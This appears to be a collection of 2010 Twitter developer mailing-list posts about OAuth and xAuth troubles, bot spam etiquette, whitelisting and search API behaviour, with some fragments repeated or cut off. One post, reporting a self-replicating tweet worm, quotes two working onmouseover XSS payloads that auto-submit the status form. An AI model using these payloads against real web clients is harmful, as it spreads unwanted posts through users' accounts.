[twitter-dev] Re: Authorizing for partial control
Of course, Twitter is not a secure means of communication. You know that, I know that. How about the majority of Twitter users? I think you could imagine the personal harm you could get from insulting tweets, spamming on your behalf or even setting pornographic images as your avatar. People are getting sued/prosecuted/fired/apprehended even here in the Netherlands for the tweets they post.

[twitter-dev] Status Updates
Hello! I have a delicate question about status updates. Is it against the Twitter TOS to send tweet every time script finds another candidate? Let me explain more.. Few days ago I've created a website called hottwittz.com. Script finds users who said that they are hot / sexy, and allows users to to vote. Every few minutes script checks for new candidates and then adds them to database.. Until yesterday, when script found new user, new tweet was written to notify the user that he's been added.. Something like @username you have been added Currently there are 50 - 100 users found each day...and i'm not sure if sending lets say 100 similar tweets each day would be considered spam.. So is this considered spam? Is this against rules or is maybe some better way to notify users? This is needed because users have option to write to me and be deleted... First impressions are great and in most cases people are flattered and call their friends to vote for them. This is just an example to describe my problem.

Re: [twitter-dev] Re: get Frienfstimeline after connection with xAuth
The problem is that you are confusing xAuth and OAuth. xAuth is only https://api.twitter.com/oauth/access_token, allowing you to exchange username/password for oauth_token and oauth_token_secret. OAuth only needs those two keys, not your username or password. (I would recommend that you read the docs and/or OAuth 1.0a spec) Also, I wouldn't recommend opening the URL in a new window. If your programming language has a way to open the URL and display the output, I would recommend that option. Tom On 9/21/10 9:34 AM, andy wrote: Hello Tom, unfortunately, it still doesn´t work.

Your Base String seems fine and the parameters in your URL look fine as well. However, like I said: try executing the request with code, not in your browser.

Re: [twitter-dev] Re: Status Updates
Hi, I have a bot that does something similar to this. If you do 100 spread out over the course of a day you'll be fine. If you did 100 in the course of an hour, Twitter would (very likely) suspend your account. They have monitoring in place for when certain thresholds are crossed, but they don't disclosed the threshold in the interest of it not being abused. Cheers, Tim.

[twitter-dev] XSS Forgeries
Hello.
There are some malicious tweets coming through in my timeline. The texts
of these tweets are for example:
http://a.no/@onmouseover=;$('textarea:first').val(this.innerHTML);$('.status-update-form').submit()
style=color:#000;background:#000;/
or
http://t.co/@onmouseover=document.getElementById('status').value='RT
MoiMrJack';$('.status-update-form').submit();font-size:500pt;/
(so some kind of self-replicating tweet). IDs of some affected tweets:
25111539789, 25105308878.
I do hope twitter is already aware of this Problem, since the official
twitter pages are affected, too... But if your client is affected, you
should think about hardening it against this attack (mine was affected
too, but luckily I'm the only user of it).
Regards,
Fabian Schlenz

Hi there,
I have been reading many comments here, and while it seems at least
another person had the same issue, I could not find an answer.
I have a test account (@hemtexdream) using the statuses/filter stream

#ireallythink.
However, I would like it to work with track=#dreamproject and it gets
none of the tweets from my main account (@fellowshipofone). Tried over
long period of time and with a few settings. I am fairly sure I am not
rate limited since I implement the logic to report http error

Why are you writing your own PHP Streaming API client? It's somewhat

well received, and it's incorporated lots of fixes for corner cases.

I do hope twitter is already aware of this Problem, since the official

should think about hardening it against this attack (mine was affected too,

Re: [twitter-dev] Re: Status Updates
The best way to avoid running afoul of Twitter's spam policies as an API developer is to follow a golden rule: don't surprise users. Automating an @mention because your algorithm determined something interesting about the user (as opposed to another user of your service deliberately triggering the mention) to a user who has no awareness of your service, especially if the @mention's purpose is primarily to drive awareness of your service, could likely be perceived as spam by many users. I know I certainly would hit the block report for spam button. I usually recommend in this case that you either send @mentions because the @mentioned user explicitly indicated interest in your service (say by allowing your client application access to it's account), if the @mentioned interacted with your bot in the past, or if another user of your service explicitly triggered the @mention. In this last case, you're better off making the @mention come directly from the user utilizing your service, rather than having it be authored by the bot itself.

[twitter-dev] Re: Search API is acting weird.
The adjusted since_id to xxx due to temporary error really means this: the since_id was not specified so I went back as far as I could. The earliest tweet is the database was 25075604044 so i used that. For users who tweet more often this error can still occur but is less likely. This is because the search results per page fit into the available index and so no adjustment of since_id is required. For less active accounts the error above occurs because search tries to get n results per page. If there aren't n tweets in the available index the since_id goes beyond what we have stored - so the message above is displayed. As for the other users not showing up when you search for them using from:. There are many reasons for users not to show up in Search. The most common one (and applicable to your account gena01) is there haven't been any tweets in the last 5 days. Other reasons are explained on our help site: http://support.twitter.com/groups/32-something-s-not-working/topics/118-search/articles/66018-my-tweets-or-hashtags-are-missing-from-search-known-issue Hope that's helpful, @themattharris On Sep 21, 8:22 am, Gena01 gen...@gmail.com wrote: So I've been messing with the search API and I am seeing some strange stuff going on.

[twitter-dev] dev.twitter.com sends consumer secret in clear text
When you register your Twitter app at http://dev.twitter.com, you get an api key, a consumer secret and other awesome goodies. The secret is necessary so that you can validate signatures of stuff coming from Twitter (confirm it's from Twitter) and generate signatures for stuff you're sending to Twitter (confirm it's from your application). All application settings are sent in clear text (http) if you follow the links on dev.twitter, which is an attack vector: the interception of the secret can compromise the app. (1) It's been puzzling me for a while why the dev.twitter.com/apps (or at least the app settings page) is not restricted to https only. Granted, Twitter can only be affected through a slightly more sophisticated attack (incl. spoofing the app) + they likely have efficient ways to reverse damage from one compromised application, but as the app developer, you're in a pretty bad spot. (2) Suggestion: if you go to https://dev.twitter.com/apps for all your app settings business, you can protect your secret... with one small problem: certificate error: dev.twitter.com uses an invalid security certificate. The certificate is only valid for the following names: www.twitter.com , twitter.com If anyone from Twitter is listening -- it may be a good idea to fix this. (3) On the bright side, Twitter is way better than Facebook, where even if you go to your app settings over https (it works!), it will redirect you to http after it's re-generated your key. -- Twitter developer documentation and resources: http://dev.twitter.com/doc API updates via Twitter: http://twitter.com/twitterapi Issues/Enhancements Tracker: http://code.google.com/p/twitter-api/issues/list Change your membership to this group: http://groups.google.com/group/twitter-development-talk?hl=en

Re: [twitter-dev] Whitelist status update
Hi Trevor, There's nothing specific you can do to ensure that it gets reviewed sooner than later -- if you like, you can send me an email after you've submitted the review and I may give it some advance consideration. To be clear: the vast majority of whitelisting requests are denied. An accompanying fact to that is that the vast majority of whitelisting requests are too vague, inappropriate, unintelligible, or not serviceable. I highly recommend that anyone who applies for whitelisting make as verbose of a request as possible: giving insight into current usage patterns, predicted usage patterns, how tweets/Twitter is specifically used in the integration, insight on the target audience the integration serves, and demonstration that other options have been given consideration exploration (such as using the streaming API, making efficient use of API calls and caching, acting on a member's direct behalf). If you're requesting IP address based whitelisting, your request will be analyzed even more critically. Help us help you. Some areas where we don't typically provide whitelisting, regardless of how well-written the request: proxy servers, research/university projects, bots, obvious information scrapers, pre-release applications, etc. Previous whitelisting approval does not guarantee future whitelisting -- even if you're just moving IP addresses around. Also, the http://twitter.com/help/request_whitelisting form isn't to be used for requesting Search API whitelisting, xAuth permissions, Streaming role requests, etc. It's strictly for requesting whitelisting for a user account/IP address within the context of REST API development. Finally, be aware that we have a bug in our whitelisting system that often results in denial emails ridiculously not including the reason for denial. If you get one of these and it wasn't obvious why it may have been rejected, feel free to follow up with me and I'll research the reason for you.

Re: [twitter-dev] Re: Status Updates
Hi, I'd second that completely. Users *really* dislike finding messages directed to/at them for keyword tracking. The first thing I do is block and report that account for spam. Its one of my pet peeves regarding the streaming api/tracking. Scott. On 21 Sep 2010, at 16:00, Taylor Singletary wrote: The best way to avoid running afoul of Twitter's spam policies as an API developer is to follow a golden rule: don't surprise users. Automating an @mention because your algorithm determined something interesting about the user (as opposed to another user of your service deliberately triggering the mention) to a user who has no awareness of your service, especially if the @mention's purpose is primarily to drive awareness of your service, could likely be perceived as spam by many users. I know I certainly would hit the block report for spam button. I usually recommend in this case that you either send @mentions because the @mentioned user explicitly indicated interest in your service (say by allowing your client application access to it's account), if the @mentioned interacted with your bot in the past, or if another user of your service explicitly triggered the @mention. In this last case, you're better off making the @mention come directly from the user utilizing your service, rather than having it be authored by the bot itself.

Re: [twitter-dev] Status Updates
Hi, If I came across your app doing that, I'd block it and then report it as spam immediately. In my opinion, you're spamming via @replies - the reason for doing so it irrelevant. I'd imagine your app getting shut down pretty quickly. Scott. On 21 Sep 2010, at 07:44, Goran Popovic wrote: Hello! I have a delicate question about status updates.

Re: [twitter-dev] statuses/update returns Incorrect signature when using in_reply_to_status_id
Great - works now! Thank you very much! I am wondering why such 'intricacies' are not mentioned in the documentation. I mean, how can one figure out the the optional parameter in_reply_to_status_id has to come in front of the oauth parameters in the base string? Or maybe there is some sort of a convention that I am not aware of? Thanks again.

[twitter-dev] Perl Net::Twitter and oAuth
I downloaded the /examples in Net::Twitter, and they don't seem to
work. There were 2 in that directory. I've searched tons on Google,
and I've read both links on the dev.twitter.com site for perl, but
can't get those to work. Maybe someone here can help?
My Twitter code does only a few things:
* gets direct messages
* searches for some keywords so that I can stream tweets on my site
* sends status updates with links to news items
That is, I don't ever login as any user other than myself. My code
runs in perl on Linux.
The nuts and bolts of it are:
# Basic login
our $twit=Net::Twitter-new({username=mysite,
password=$acct{'mysite'}, source=''});
# Search
my $ref = $twit-search({q=bike OR triathlon OR bicycle OR cycling
OR bmx cyclocross});
# Update
$twit-update({status = $tweet});
although I was using this sometimes:
`/usr/bin/curl -u $user:$pswd -d status=$status
http://api.twitter.com/1/statuses/update.xml 1/tmp/twitterCurl.
$user.out 21`;
So the big question is, I have a consumer key and consumer secret -
how do I turn
this basic code into oAuth proper code?
Thanks!
David

[twitter-dev] Searching for tweets containing a specific domain
If you query search.twitter.com for a specific domain, such as techcrunch.com, you'll get a list of all tweets that contain that domain, even if it's contained in a shortened URL. Using domains as predicates in Streaming Track doesn't result in the same behavior, only matching on actual body text as opposed to metadata. What is the most effective strategy to consume a feed of domain- specific tweets at this point? Thanks!

[twitter-dev] Re: problems with 2000 followers barrier
This is how we architected the first version of TweetPo.st back before the streaming API was available. It was a good workaround for regularly polling the accounts of all our users individually to know if they had tweeted. However, we ran into the same issue with the follower/following ratio. The good news is that this is exactly what the Streaming API is designed to solve. We switched to using the Streaming API with the follow predicate (http://dev.twitter.com/pages/ streaming_api_methods#follow). But that was before Site Streams (http://dev.twitter.com/pages/site_streams), which basically does exactly what it sounds like you want right out of the box. -jonathan -- Jonathan Strauss, Co-Founder http://awe.sm Blog: http://jonathanhstrauss.com Twitter: http://twitter.com/jhstrauss On Sep 21, 8:05 am, Adam Cloud cloudy...@gmail.com wrote: http://support.twitter.com/entries/68916 http://support.twitter.com/entries/66885-i-can-t-follow-people-follow...Maybe ask some of users to follow you back to prove your the legitimacy of your app. 2010/9/21 Валентин ValeZ Любимов valentin.lyubi...@gmail.com Hi, developers My blog servicewww.liveinternet.ru(up to 1 500 000 blogs) recently have developed the integration with twitter.

Hey all!
I wanted to check in with the community before writing
a...@twitter.com, just so I dont look like a fool I am hoping to pick
your brains so it seems like I am at least a little informed.
I am writing an application for android that uses the twitter geo
search api, but I am finding it to be severely crippled and throttled
to the point where it is almost unusable. I thought it was just a
temporary issue at first but it seems that I am getting consistent 503
errors when attempting to call http://api.twitter.com/version/geo/search.json
regardless of time of day or how many requests I make (1-30 per hour).
I use OAuth for all authentication clients.

The search and trend methods use this to indicate when you are being
rate limited.

I thought it may be rate limited but my rate limit seems to have lots
of headroom (remainingHits=347, hourlyLimit=350). Any help is
appreciated, there is no way I can move forward with my approach to
use twitter unless these APIs are not highly available.
BTW if you have an android phone and a twitter account I would love
you to participate in our private beta!
